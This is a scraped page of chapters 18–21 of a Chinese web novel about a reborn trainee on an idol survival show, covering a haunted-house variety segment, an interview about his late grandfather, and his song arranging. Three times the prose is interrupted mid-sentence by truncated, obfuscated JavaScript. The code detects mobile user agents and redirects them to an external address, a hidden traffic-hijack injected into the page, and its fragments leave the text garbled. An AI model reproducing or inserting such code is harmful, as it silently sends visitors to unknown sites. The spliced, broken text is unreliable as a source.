p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15167335|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你没睡醒嘛?别撞椅子上。”一双手很体贴地拽住傅寻砚的衣角,将他一把拉过来身边椅子上。 达裴僵住。 然后默默鼻子坐下。 旻海?那家伙什么时候和寻砚这么熟的? 傅寻砚还沉浸在那种难以形容的心绪中,也没发现达裴的动作,而是顺从地被旻海拦在了身边。 一路上大家都在补眠。 来的六个人分别是叶莱、周恒宇、傅寻砚、旻海、达裴和Kenny。 在公式照的热度中,这六人都榜上有名,其中Kenny、叶莱和傅寻砚又是咬得很紧。但在个人介绍小视频里,傅寻砚却独领风骚。 尤其是那段惊艳众人的b-box,充满男性魅力,不仅吸引了一大批女粉,连一些初高中男生最近在路上走着走着都得来一段口水四溅的伪b-box。 在一些小网站发布的调查里,傅寻砚于“最不讨厌的在职男练习生”里排行第一,甚至领先群众基础庞大的尹星蘅和粉丝众多的叶莱。 或许有霸凌事件的影响,但更重要的是在小视频里他丝毫没有矫揉造作的倾向,清爽干净。而且刚刚播放的初舞台已经毫无保留地展现了他的实力,绝对是一流。 哪怕有人还在用只有“B等级”来酸他实力不足,但傅寻砚的粉丝分分钟能把初舞台视频甩对方脸上来自证。 [小甜甜是我:#傅寻砚实力不是,你们别太恨了,MV不是也公布了吗?你们忘了寻宝那一支舞跳的多好?] [千与千寻:#傅寻砚实力是啊,老公的初舞台下载量已经破千万了,这可是本届第一支千万直拍] [不容置疑的云朵:#傅寻砚实力在外网也超火的,我英国留学的姐妹这两天被好多白妹问这是国内哪个明星] [冰糖雪梨:#傅寻砚实力绝了,要脸有脸,要实力有实力,寻宝你是专门来要我的命的叭!] 六人抵达场地,傅寻砚才发现这次并非商场安排的商演,而是综艺节目。他有些惊讶,看向了选管,谁知道选管只负责接他们到这,已经去和节目导演沟通流程了。 “我艹,是《一日的偶像》,我超爱看这个节目。”周恒宇有些激动,朝着旁边的叶莱惊呼,“这节目分量……” 叶莱以刀子般的眼神制止了他的话语,似乎意识到自己不该说出来,周恒宇立刻闭嘴。 《一日的偶像》不同于当前市场上的娱乐综艺,走表演+常规游戏路线,而是一档轻游戏+主访谈节目,这意味着他们能够尽情巩固“人设”,大肆吸粉。 至于那些是真是假,谁在乎呢?只有花钱的粉丝在乎。 “为什么?要上这个节目不容易吧?”达裴同样充满不解,“一般不是只有已出道的团体才能来吗?我们来……不会有不公平的问题吗?” 是的,不公平。 尽管机会是站在这里的每一个人为自己赢来的,可问题在于,《新世纪》提供这个机会本身就很不合理。 六个人还没确定出道,《新世纪》把他们送来这里无疑为他们争取了很多人气,可到时候他们要是没出道呢?这笔投资岂不是全亏? 倒回来说,在选秀刚开始就帮他们六个人固粉,对其他遗憾错失这次机会的人而言,确实充满了不公平的意味。 就好比学校突然通知,上次月考前十的人能在高考加50分,诚然是自己没努力在月考中取得好成绩,但考试的重要性和对最终结果的影响大小完全不成比例。 旻海有些忧心忡忡,他无意识走到达裴和傅寻砚中间。 达裴瞥了挤过来的人一眼。 旻海说:“我——昨晚借东西(烟)前听到他们在议论,节目这次花了很多钱。” 花了很多钱?傅寻砚想到澄清直播前女导演拍板时说的话,似乎抓住了头绪。 19.第十九日 难怪换成了再评级A和人气前十呢…… 傅寻砚是卖点一,在一公选组时嘲讽过他的周恒宇,是卖点二,甚至如果节目组已经有心调查,Kenny的公司Pennyline…… 说起来傅寻砚的“霸凌事件”已经得到平反,而那之后节目放了所有练习生一天假,其实就是提醒大家早些根据这件事做出安排。 那些公然在镜头前狙击过傅寻砚的,赶紧夹紧尾巴想办法。 那些坚定相信傅寻砚站在他一边的,可以考虑开始卖cp。 但让节目组没想到的是,只有R.TAI和张池的嘻哈厂牌来沟通过,希望把他们在再评级表演前的“嘀咕”剪掉。 而同样属于前者的周恒宇和邵若舟却完全不在乎。 根据他们回来后的镇定态度,群星公司也没有放弃这两人。 节目组不明白,只能归结于群星公司力量庞大,选择到时候自己花钱买水军引导舆论。 让节目组更不理解的是,那时候站在傅寻砚身边的达裴、沈迟等人也像死水一样动都不动。 怎么搞的?这群人到底想不想火啊? 导演们完全没想到会是这样的结局,可是现在的热度只属于傅寻砚一个人,他们看不下去这种浪费,只能手动进行一下宣传。 虽然便宜了这些无动于衷的练习生,但当即最重要的是把热度炒起来。 热搜事件后,已经有一批粉丝涌入官博,这周把初舞台(第一集)和主题曲直拍放出来,又让一大波路人粉和吃瓜群众因为练习生们的魅力转化为了节目粉。 但还是不够。 所以,节目组投了很大一笔钱去《一日的偶像》,获得了“插队演出”的机会,对方本来没兴趣,但知道傅寻砚会来后,立马点头了。 感谢傅寻砚…… 现在,当六人被扔在一栋大楼门口,约有四米多高的门令人格外紧张。 傅寻砚身侧的位置早已自动被达裴和旻海占据,叶莱倒是想凑过来,谁知道周恒宇这白痴一把揽住他让他不能动。 一个保安打扮的人手执教棒挥舞着,表情夸张生动,这是节目组的主持人之一董冬,他有些微胖,憨态可掬,此刻即便装出凶狠的样子也一点也不吓人。 “你们几个是新来的学生?要想进入我们克里斯马英雄学院可没有那么容易,必须经过考验,你们的人品、勇气、能力,必须接受我,也就是这座学院主人的考核!” 相当中二,综艺老手叶莱立刻反应过来进行配合。 “哇哦,那我们好像也没有那么想入学呢,我退出了,拜拜。”他借机甩掉周恒宇的手,佯装要回车上。 “嘎!不可以!踏进门槛你们就走不了了,可不能让我这位尊贵的院长兼保安大人风雨兼程从房间来这里白跑一趟。”东哥插住了腰,却因为过短的手有点搞怪好笑。 “那真遗憾。”叶莱继续配合,一脸失落让人心疼,“好吧,我愿意接受您的考验。” [哈哈哈,叶子你还想跑,这荒郊野岭你跑哪去?] [克里斯马贵族学院?请开门,我是隔壁艾利斯丹顿贵族学院交流生,我要入学,我要和他们做同桌麻烦安排一下谢谢] [听到“考验”的时候旻海脸立刻白了哈哈哈,心想不是来玩的吗?] [啊啊啊啊寻宝在车上做了妆发好帅!答应妈妈,素颜虽好看但出门在外要好好打扮自己好吗] [是啊,寻宝的脸又上热搜了,但……素颜照啊,而且那个发型救命,明明氛围感超级超级好,藕老师的动态给我迷晕了,就是那个造型唉] [笑死,感受到楼上的遗憾了] 东哥得意洋洋,甩了甩手棍,将一群人拨为两份,刚巧,傅寻砚、达裴和旻海如小鸡仔似的被推到一处。 达裴龇着牙露出笑容,一脸快乐。旻海也忍不住眼角眉梢的愉悦。 还能为什么,自己很胆小,但一看傅寻砚就是他们里头胆子最大的嘛! 只有叶莱陷入绝望。 周恒宇这个神经又胆小又爱装,和他在一起先不谈镜头的事情,手臂首先得被抓青。 而Kenny……这位与傅寻砚颜值有的一拼的异国练习生满脸懵然,根本不懂要干什么以及接下来要面对什么。 傅·拖家带口·寻砚领着两个已经隐隐有趋势往他身上挂的家伙待在门口等待,不一会儿推门进去的三个人陷入了死一样的沉寂,即便达裴把耳朵贴到门上也无济于事。 一会儿后——“啊啊啊啊艹”“我要回去!”“救命啊”的声音此起彼伏。 好的,他们猜对了,这回一日偶像给他们设计的环节是开场鬼屋。 一日偶像的开场总是稀奇古怪,有红毯造型秀pk,经典电视剧再演绎,恐怖航空箱猜谜……而其中,鬼屋这个环节堪称看点之最,但一般也不轻易适用。 毕竟大明星们身价高贵,万一吓出好歹节目组也无法负责。 看着头顶飞走的群鸟,整栋楼都盘旋着周恒宇的杀猪叫,以及叶莱“镇定一点!”的崩溃,傅寻砚顿觉不妙。 身侧达裴和旻海拉着他的手臂越发使劲,傅寻砚感受不到。 因为——他也紧张。 是,他本来是不怕鬼,但那是上辈子坚定的唯物主义者傅寻砚。这辈子他都重生了,怎么可能不反思一下这个世界构成的合理性? 董东心里一咯噔,心里嘀咕不会分组分错了吧,这三个看起来像是会抱团蹲入口的类型…… “走啊,还要我这个院长大人请吗?” “走就走,这种小儿科游戏有什么好怕的。”达裴气势汹汹冲到门口,龇着牙笑得满不在乎。 如果忽略到他摁在门上还颤抖的手,以及突然停下的脚步就更有说服力了。 “来啊,你们怎么不走,害怕啊,害怕就抱、牵着我啊。” [……赔钱妈决定放弃一秒对儿子的爱] [什么小学鸡最强王者?你脚步往前挪一下试试呢?] [火化了这张嘴怕是也硬着] [牵你?那确实,像牵哈士奇一样把你拴着不让你掉头逃跑才是] 从紧张中回过神,傅寻砚已经被一甩棍轻轻推入门里。虽然东哥嘴上很尖酸,但动作很轻柔,背过相机的眼神也充满鼓励。 可是鼓励不好使,至少没法帮助三人无视害怕。 咕嘟—— [?谁咽的口水也太响了吧] [啊?我就是一个“啊?”,这三人不都是克里斯马的Alpha吗?到底谁背着我们O装A啊!] [嘿嘿嘿这样一想,有点好嗑了嘿嘿嘿] [根据门外时的肢体动作,我们已知旻海是个装都不装的胆小鬼,达裴是个装了但没用的胆小鬼,傅寻砚……我看不出来] [寻妈在此!举爪!根据我对寻宝的深刻了解,他绝对是怕的,看见进门那一刹那的僵硬吗?被推进来的时候身体和钢板一样抗拒] [回去一看,赞同楼上] 眼前是完全的黑暗。任何细微的声响都在无形中放大恐惧,比如衣服下摆滑过木桌,以及身侧两人不停颤抖而使鞋子在地面的滑动摩擦。 过于粗重的呼吸从两侧袭击了傅寻砚的耳朵。 [开灯开灯!这鼠在干什么!这喘得太……太……,我都不好意思说你们!] [斯哈,多喘我爱听] [节目组好懂啊这几秒黑灯,氛围感拉满了] [一秒过去了寻宝没声音,两秒过去了没声音,好的确诊!] 红外线监视器中场景乍亮。 人们只能看见一坨生物在缓慢移动,是的,一坨。 旻海已经彻底崩溃,他把头塞入傅寻砚的颈窝,另一手试图环抱他的腰,结果被傅寻砚逮住。 “你这样我走不了路了。”温和的男声无奈。 “*******”不知道旻海说了什么,啥也听不清。 另一旁的达裴似乎好些,在适应黑暗后,他就莽撞地脱离开队伍,看似大胆地往前直冲,自由的手臂在空气中乱舞以渴望抓到东西。 “达裴,你等一……” 下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15174281|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一秒,“啊!” “怎么了怎么了?” 还不等傅寻砚冷静下来,正前方一颗炮弹猛地撞过来,达裴不受控制地扑进了傅寻砚的怀抱,使得这一坨物体失去平衡。 为了避免摔倒,傅寻砚发挥了所有平衡能力一手搂着达裴转了一圈,好不容易克制着将他抵在了墙角,自己却还是险些摔倒在他身上。 当回过神来时,达裴只能在黑暗中感觉到什么笼罩在头领。 像是人从雨幕中缓缓走来的气息,细密的雨珠在那人的肩头、发梢上闪烁,宛如细碎的水晶。 就是在这样的空气中,雨后雪松那独特的神秘气息,随着他的靠近愈发浓郁。 明明是一片黑暗,明明是散发着霉味的鬼屋,鼻尖传来的那气息却是一种清新与深邃交织的味道。 有山间新雨的清爽,驱散了尘世的喧嚣与闷热;又藏着雪松木质的醇厚深沉,仿佛隐匿着一些故事,让人忍不住想要探寻。 这股气息萦绕在他周身,达裴不由得在黑暗中描绘那人的面容——深邃的眼眸、挺直的鼻梁、紧抿的薄唇,带着些许的惊慌和独属于他的冷清。 达裴下意识抬起下巴,嗅了嗅,有一小截布料挂到他的鼻尖,那是傅寻砚胸口衬衫的领子。 达裴立刻反应过来自己在做什么,慌张地伸手想要推开,却又想起那人是傅寻砚,转而收了力。 结果就是看起来,仿佛手在他的肩胛骨上留恋不舍…… [?雾草豹豹猫猫我出生啦] [谁懂我啊,我在宿舍看呢,结果“啊!!!!~~~~~”变了好几个调,我舍友本来以为我吓死了,听到后面骂我神经] [笑死前面演我] [吸烟:本来我超怕鬼,结果刚刚心脏刚跳出的女鬼吊起来,下一秒就因为小情侣互动嘿嘿傻笑] [女鬼:还有人尊重我的劳动成果吗?] [旻海:我明明在这里,却没有姓名,没关系,我可以接受3p呢,只要你们别丢下我] [达裴故意的吧?看起来完全不像是怕鬼的人啊,怎么那么胆小,是不是想趁机吃老婆豆腐?] [大为震惊啊大为震惊,你们这群练习生为了博取我的眼球手段真多——爱看多来] [多么美好的社会主义兄弟情,棺材被浴霸照得暖暖的] [↑唯粉的负隅顽抗,多么生动的案例] 傅寻砚快速起身,让达裴得以呼吸,“你还好吧?” “没事。”尴尬冲淡了一些恐惧。他转动着手上那十来个戒指,却也不敢再靠近傅寻砚。 为了尽快出去,傅寻砚只好搂住那个还在试图往自己咯吱窝钻的银色寸头,“哥!哥你别拱了,女鬼走了,看前面有亮光。” “光?哪里!”旻海的呜咽变成一声可怜巴巴的询问,小孩似的偷摸抬起头,确实在前方看见了细微的灯光。 “我们往那里去,达裴,跟上。” “啊?嗯。”身后走神的男孩摸了摸头,看似不在意又在意到死的样子,最后还是忍不住扯住了傅寻砚的一截衣角。 结果——他们太大意了。 傅寻砚确实不想搞什么人设,但怕鬼这件事情他也不想留下笑柄,所以全程强装镇定。 事实证明,在全方位红外线摄像头的作用下这种伪装一点用也没有就是了。 空气太过燥热,在又被几个冒出来的鬼吓到后,傅寻砚终于觉得快到门口了。 长廊尽头开始放歌——就是网络上超火的那个女声“空空空”的诡异音乐,鸡皮疙瘩立刻窜起来。 下一秒,四面八方的“墙体”倒塌,跳出来一群丧尸,达裴和旻海的尖叫与他们嘲笑过的人如出一辙。 旻海甚至带着傅寻砚在原地来了段踢他,不愧是他。 丧尸们将三人团团围住,嘴里嘟囔重复着一句话。 傅寻砚也被吓得不轻,瞳孔都放大了,但好歹他还有理智,在终于明白那群人在念“唱歌唱歌”后,灵魂终于回到了现实。 “旻海!旻海哥!唱歌!主题曲!” 20.第二十日 三个胆小鬼,达裴的看点已经有了,进门前后进门后的反差足以博众人一笑。 但旻海不行,虽然他全程缩着也很搞笑,但并没有什么发挥,中间几只鬼都是傅寻砚挥舞着捡来的衣服架子赶跑的。 “旻海哥,他们让你唱主题曲!” “主题曲!啊!主题曲!主题曲是什么!” “傻瓜啊,万千星辰!”达裴同样鬼叫。 “我忘歌词了!歌词呢歌词是……” “想起来了!为了~啊~得到温暖~啊~~~!我们向着、向着什么奔跑来着?” 本来的崩溃情绪立刻全被旻海的笑料冲散了,傅寻砚也忍不住笑了,达裴更是笑得忘记了刚刚发生的小小事件,而趴在了傅寻砚的肩上,笑得全身颤动。 “我们、我们要如流星一样璀璨~对!对,璀璨!发光!要发光!” [绝了旻海小汁,我以为你顶着银色寸头是酷哥,原来是搞笑选手] [哈哈哈能璀璨的东西确实是在发光] [向着太阳奔跑啊傻瓜!] [这一秒转出十八弯的转音,旻海以后妥妥是歌担了吧,谁也不准和他抢这个地位!] [第二组也太搞笑了点,达裴式嘴硬,燕达闻声甜死,寻宝盲僧打击,还有哈哈哈哈一想到就想笑,旻海老师的倾情演唱] [第一组……嗯,周恒宇也太装了吧,本来初舞台他和我家叶子一个公司我还挺喜欢他的,但……] [我懂我懂,你害怕就害怕,故意挡我儿子的镜头未免太过分了吧] [楼上怎么知道他故意挡镜头的?别人均阴谋家好吧?] [?很明显啊,人害怕要么蹲下要么顺着反向跑走,哪有翻了个身面朝叶子背对鬼的?把叶子遮得严严实实我去] [那个Kenny真的美貌,但怎么没什么存在感呢?] [我也觉得,可能周恒宇反应太大吧,一路都在尖叫抢走了所有戏份,而且最后明明是Kenny先听到丧尸说唱歌的,嘴都张开了,周恒宇非要抢,这会儿又不害怕了?] [跟隔壁完全反差,傅寻砚甚至主动cue旻海唱……] [是啊,只能说人品高下立见,等下——不会那个据传排挤寻宝的就是他吧?] 当傅寻砚拖家带口走出门,只看见对面的叶莱一脸复杂。 “欢迎光临《一日的偶像》!各位已经通过了我们的考验呢,接下来就是座谈会时间~” 谁料东哥话还没说完,这边的达裴脚踩风火轮般好像要上去打人,佯装揍了顿空气就笑着推开,“啊呀节目组太狡猾了,我好不容易树立的酷哥形象毁于一旦。” 董东也明白节目效果,假意躲了两下就笑着指向达裴:“我可是在监视器看了全程的,你小子这个人设太虚假,我们节目才是做了好事拆穿你呢。” “既然你还胆敢来打主持人,你完了,就从你开始介绍。”董东不知道从哪掏出一份简历一样的东西,开始盘点达裴的个人技之类,主要围绕的也就是公式照和个人介绍视频的内容。 他们都没出道,想扒也没得扒。 倒是周恒宇那里,虽然董东没cue,但他主动谈及他学lockin和hip-pop的经历。 “我给大家展示一段吧。” 然后刚刚还苍白着脸的旻海更苍白了。 [旻海:看不下去看不下去,哪个舞室教的,以后大家请避雷] [说实话,虽然不差,但也没有任何值得展示的点] [点了,还不好笑,球球这哥赶紧退吧,我想看Kenny和傅寻砚的脸!!!] “那小周在日常生活中是个什么样的人呢?叶莱作为公司同事要不说说?” 回想起公司叮嘱的“是个直率但脑子太单纯,容易听信别人话的人”,叶莱嗤之以鼻。 观众只看见面目俊朗、清新如暖阳的少年笑了笑,“他么,很直率(重点)呢。” 董东不解,眼神示意你后半句呢? 叶莱好像在提醒中“恍然大悟”,不顾身边周恒宇那焦急的眼光,“啊,因为他很直率,大家慢慢就能挖掘到他的魅力嘛,我现在就说的话,岂不是等于把宝藏(重音)和惊喜(重音)给抖出来了?” 乍一听倒也没什么问题,但细想问题就大了,叶莱这不是在暗示大家看见的就是真的周恒宇嘛?那等他一公选歌被放出来怎么办?群星可没和《新世纪》沟通把那段剪掉啊。 但当场无人反应过来,毕竟叶莱说的太过理直气壮,周恒宇心里还在庆幸这位竞争对手没说自己什么坏话,反而很“公正”地劝观众自己挖掘他的魅力呢。 旻海和Kenny都顺利过去,最后一个轮到了傅寻砚。 节目组也不好直言霸凌事件,只好换了个方向切入。 董东有点抱歉,但还是跟着台本问话:“听说我们的傅寻砚练习生很励志呢,是孤儿是吗?” “对。”青年并不避讳,“爷爷是在我十个月那年捡到我的,奶奶和爷爷的儿子二十年前都在车祸里去世,所以他一直一个人生活。 “他和我说,他那天在田埂上看到我,觉得我长得很可爱。” “他还感叹呢,这么漂亮的小孩才不是被丢掉的,肯定是老天爷觉得他太孤单所以送给他的。” 傅寻砚让自己看上去并不感到心酸或任何,而是洋溢着一种回忆的温馨——与爷爷对他的好比起来,其他一切都不曾成为记忆中有必要保留的部分。 他的酸涩,只是因为那些画面太温暖,而现在一切都归于虚无。 拍摄组都有点招架不住,眼窝浅的几个男女工作员已经开始仰头扇风。董东压下喉咙处的异样,“那很可惜呢,还没能报答爷爷,爷爷就不在了。” “是啊。”黑发的男孩微微低下眼,长睫毛遮出一片阴影。 “那如果要对爷爷说句话的话,傅寻砚练习生,你想说什么呢?” 傅寻砚想了想,摇头:“我没有什么想说的,爷爷如果能听到的话,想必也一直关注着我。说的再多不如用行动证明,我在好好长大,在向着更好的生活努力。我没有让他为捡了我,辛苦养育我十几年而有任何后悔。” “我想他一定很欣慰。” “如果一定要说的话。嗯,如果有来生,我希望他自私一些,为自己好好活,好好照顾自己,如果有子女,我希望他的子女能独立一些,不要让他多操心,他这个人最喜欢苦自己补贴小孩了,希望他们一定要表现得足够省心,这样爷爷才会不那么拼命。” [……] [……] [坏了,我眼药水白滴] [受不了我想起我爷奶了,他们那个年代好多老人就是这样,自己抠抠搜搜过日子,直到去世都没享受过什么,全给小孩攒着了] [呜呜呜哇,我外公前段时间刚走,他离家出走很多次,就是觉得生病拖累了家人呜呜呜] [说不出话,眼泪止不住……] [傅寻砚的爷爷应该真的很欣慰吧,那些人那么欺负他,他也一直在想办法读书,哪怕压力这么大也要去高考] ** “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178456|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唉,傅哥不在的第一个白天,想念他。”段琪琪还在对着镜头耍宝,下一秒身旁的人将纸拍到了他脸上。 白镇顶着那张天使脸蛋笑得邪恶:“你傅哥给你留了礼物,快点来练习,你可是大C。” 段琪琪有苦难言。 谁懂啊,前两天傅哥制定了超变态的计划,七点起床十一点休息,连上厕所和吃饭的时间都按秒精准控制了。 别看他们组只有傅寻砚在熬夜改歌,其实在傅寻砚的监督下,他们的效率绝对是这个基地里最高的。 傅哥不止一次和他们说过,他并不阻止大家用练习室熬夜的镜头去争取观众的心疼和喜爱,但他还是希望大家能在可能的范围内保重身体。 能在白天集中精力完成的事情,就不要拖到晚上。 隔壁几个教室总是打着课间休息的幌子拍摄一些游戏片段作为物料,但实际上完全是游戏两小时练习一分钟,然后又牺牲晚上睡觉的时间去补练习镜头。 让《风啊,又是一夜雨》的新人们深切感受到了畸形。 虽然傅寻砚的建议可能让他们失去一些“哗众取宠”的机会,但几人偏偏和傅寻砚的想法契合,说他们单纯也好,没脑子也好,他们只想在舞台上做到最好。 段琪琪年纪小,脑子却灵活,他认为这样更好——他们组除了傅寻砚这个大爆点,其余人全是人气下位圈,加上又是抒情曲,节目组不可能选他们的物料来播放。 这样的情况下还要丢掉舞台而去做一些无用功,那可太傻了。 段琪琪接过新编的曲子,只是扫视了一眼就惊讶地问出了声:“我去,傅哥两个晚上就改好了,他这什么速度?” 段琪琪是音乐生,虽然唱跳是新人,但音乐可不是,他边说话边看了几眼,脚和手都忍不住跟着音符打拍子。 “这……”段琪琪眼含热泪,“这改的也太好了,傅哥简直是天才!” 他激动地晃了一圈脑袋,把好奇到死的音乐老师从座椅上一把推下去,用电子琴立刻演绎了一段。 《风啊,又是一夜雨》是三十年前一位民谣歌手与好友一起创作的,当时正值下工潮,他所生活的地方,许许多多的中年人被工厂辞退而失去了养家糊口的手段,在绝望之下于风雨桥跳下。 所以这首歌的主旨充满着悲伤,但这位歌手的底色是向上的,在表达同情与安慰的同时,歌曲后半截急转,传递了无限的力量。 歌是好歌,在当时也很热门,但三十年后的今天,即便年轻人们仍然承认质量,却不免觉得“不够洋气”。 一个时代有一个时代的音乐品味,这没什么好批判,傅寻砚要做的,就是融入现代乐的元素,让整首歌保留感情的基础上,在编曲上做出调整,让它更适应当代人的胃口。 节奏是最先被改动的,尤其是后半截,原本仍然算舒缓的节拍器速度大幅提升,音符的跳动都变得紧凑而有力。 接着在配器上大做文章,加入了强烈的鼓点。厚重的底鼓如同心跳般有力,每一次敲击都震撼着灵魂;清脆的军鼓适时穿插,为乐曲增添了明快的氛围。同时,摒弃了抒情曲中较为单一的弦乐铺垫,融入了富有现代感的电吉他旋律。 原本的歌词“我的原野长出太阳亲爱的候鸟拜托听到我的恳求从南方回来”在戚戚的背景音中,更像是绝望的呐喊,傅寻砚改编后,整首歌变得更宏大,像是光冲破乌云洒了进来。 白镇不太看得懂乐谱,但即便设备简单,当段琪琪弹奏出基本的曲调后,他也能感受到自己的心尖发颤。 这首歌,是动人的。 21.第二十一日 “想象你面前有一朵花,用鼻子慢慢地吸气,把气吸到腹部,感受腹部像气球一样膨胀。” “这样?”彭思源皱了皱眉,感觉有点怪,但他还是很听话地跟着做。 傅寻砚伸手,在面前几个人的腹部轻轻按压:“感受到了吧?气息要下沉。” 节目组请来的老师有限,只能实行轮班制,由于前两天傅寻砚改编未完成,所以他申请了调整,减少了声乐课的频次,拜托那名老师主要带着几人做基础练习,至于歌本身,等改编后再统一学。 “嗯,大家练习得差不多,晚上我们要把动线整个再排练一下,然后由老师把改编后的歌曲教一遍。” 傅寻砚拿着手上新送来的表格,“蒋安、顾峰,你们两晚上有物料要去拍对吗?” 被点名的两人有点紧张,作为模特,他们的基本功很差,这两天在傅寻砚的鞭策下其实进步已经很大,但还不够。 傅寻砚虽然也被拉去拍摄综艺,但那是他的排名和实力撑起来的,而且回来后他也没有落下进度。 他们的这个物料却是主动报名——他们只是不想失去曝光的机会,可一想到自己的练习还不足够,又有些愧疚。 “不用露出这种表情。” 低垂着头的两人小心翼翼看过去,排练室内,灯光炽热而明亮,汗水早就将那人的昳丽非凡的眉眼打湿。虽然初时觉得他很不好惹,但这两天的接触下来,无论是组内的哪个人,都能感受到傅寻砚的个性。 作为组员,只要努力,尽量达成他所布置的目标,那傅寻砚简直就是贴心的哥哥/弟弟。但如果完不成……傅寻砚就会化身那种想要骂人但又怕伤你自尊的善良教导主任。 然后闷头带着人练习。 此刻,他抬起那双因为连续熬夜而有些血丝的眼睛,视线轻轻落到两人身上:“你们缺席确实会给安排带来变化,但这不是让人讨厌的麻烦。” “我们都是练习生,争取更多的表现机会,散发魅力,这本身就是职业内容。你们好好录物料,是对自己的交代,也是在为整个节目贡献劳动,无需愧疚。” 看了看其他三人赞同的神色,傅寻砚抿了抿唇叮嘱:“不过你们录完后就不要去聊天什么的了,赶回来合流。” 蒋安、顾峰自然狠狠点头。 “傅……”练习室被打开一条缝,那颗脑袋进来后发现没了其他人,便大喇喇推开了门,“你们队又休息了吗?” “不,我给他们的cody发了舞台造型的想法,所以他们几个都去开会了,确认每家公司同意。” “啧啧啧,你真的有操心很多。”旻海坐下,从口袋里掏出一个塑料袋,“知道你没吃饭,带给你的包子,放心,菜的,热过。” “谢了。”傅寻砚没有抬头,一手接过食物开始啃,另一手还在用笔在图纸上勾画什么。 旻海凑过来看了看,“这是什么?” “舞台定位图,我在想怎么安排站位。” “这不是节目组那个策划老师的工作吗?” 傅寻砚摇头。 旻海看了看他,眼睛犹如夜空中闪烁的星辰,明亮而坚定,即便被汗水模糊,也丝毫不减其中的光芒与专注。浓密卷翘的睫毛上挂满了晶莹的汗珠,随着他眨眼的动作,偶尔有几滴滑落,在灯光的映照下折射出五彩的光。 高挺的鼻梁线条优美,此时鼻尖也布满了汗珠,为他增添了诱惑。 长久沉默后他还是张口了,摘下自己和旻海胸口的耳麦,并且放低了声音,“你真的信任他们吗?” “啊?”旻海照做,但不解,“信任什么?” “那群老师的水平。”傅寻砚终于停下手上的工作,抱住双膝看着旻海,“一看就不行不是吗?” 旻海也无话可说。 《新世纪》没钱实在是个众所周知的事情,由于前期投资小开销多,这档节目的企划有很多漏洞,工作人员的配置就是其中一个重灾区。 绝大部分歌舞老师、编曲老师都是投资人塞进来的,不是谁谁谁的侄子,就是谁谁谁的侄女,更甚者什么姑婆的女儿的小姑姑都在。 选管更是糟糕,甚至有人在节目中往外卖练习生私照。 “所以我打算全部自己排。” “那那边呢?处理妥当了?” “嗯,我和总策划说不用管我们,他也同意了——他有什么不同意的,到时候舞台布置又不会写我名字,没人知道他没做这个工作。” “可是这不就相当于你免费为他打工?” “是。”傅寻砚的手又开始忙起来,旻海分明感受到了他的烦躁。 “但这是一种妥协和交换,我要来了自由和他的帮忙遮掩,允诺他的则是减轻的工作负担和有可能出圈的舞台布置。” 旻海神色复杂,“你……算了,你这段时间负责的东西实在太多了,一公结束后可要好好休息,别冲在前面了。” 改编歌曲、舞台布置、综艺录制、还有甚至是其他人的妆造,傅寻砚都等同于一手抓了。 傅寻砚没应声,旻海只好撤出房间,谁知道在门口撞上了沈迟。 “旻海哥?你怎么在这里?”沈迟擦着汗水,他刚刚结束组内的练习去上了个厕所,又去便利店逛了一圈,想到傅寻砚应该也在训练,所以就过来看看。 “我?我来串门。”旻海摸了摸头,朝里努嘴,“这两天这家伙回宿舍休息吗?” 沈迟叹了口气,摇头,“在宿舍是抓不到他人的,他一般都是早上五六点回来一趟洗个澡然后躺一会,到八点就又出门了。” 好家伙,真不怕猝死。 旻海心情复杂,和沈迟道别后就走了。 沈迟本想推门进去,可当从门缝中看到那个高大的身影坐在地上,双腿随意蜷着,正在拧着眉思考,他便不再打扰,只是把刚刚从便利店买来的热牛奶放在门内侧,便悄悄走了。 傅哥不爱喝牛奶,但似乎对健康有很执着的坚持,坚持每天一杯。 之后的训练按部就班,虽然累但傅寻砚没觉得无聊,他在每一遍排练中都在调整着每个人的动作、表情,和他们讲互动的时间点和要领,虽然表面看起来风平浪静,但只有队伍里的人能够清晰地感知到变化。 尤其是蒋安和顾峰,他们原本的肢体很不协调,傅寻砚当机立断帮他们砍掉部分动作,安排他们做一些简单的定点和走动来填补空白。 “记住,这首歌的重点在vocal,如果上台后实在紧张而忘记动作,那么没关系,把歌唱出来最重要。” “一公舞台是全开麦……” 啊?在两方的对视中,傅寻砚突然发现自己下意识讲了一个别人并不知道的内容。 是的,这次一公是恐怖的全开麦。尽管这辈子很多事情和上辈子不同,但是这一周傅寻砚通过不断和节目组确认,一公全开麦的事情得到了证实。 当然,节目组大概还是想炒热点,没有和其他练习生说的那么明白,有人也问过是不是开麦,节目组说“当然”。那名练习生没有继续问下去——他们以为《新世纪》为了表演的可观赏性只会半开麦并且修音。 但并不会,《新世纪》的一公不仅开启了直播,而且完全没有修音,也就造就了许多车祸现场。 白镇眼睛都瞪圆了,“那咋办啊,我怕我搞不定。” 搞不定的下场,就是傅寻砚大魔王扯着整支队伍去做“慰问演出”——傅寻砚相信,克服紧张的办法就是上场前多排练,尤其是对着 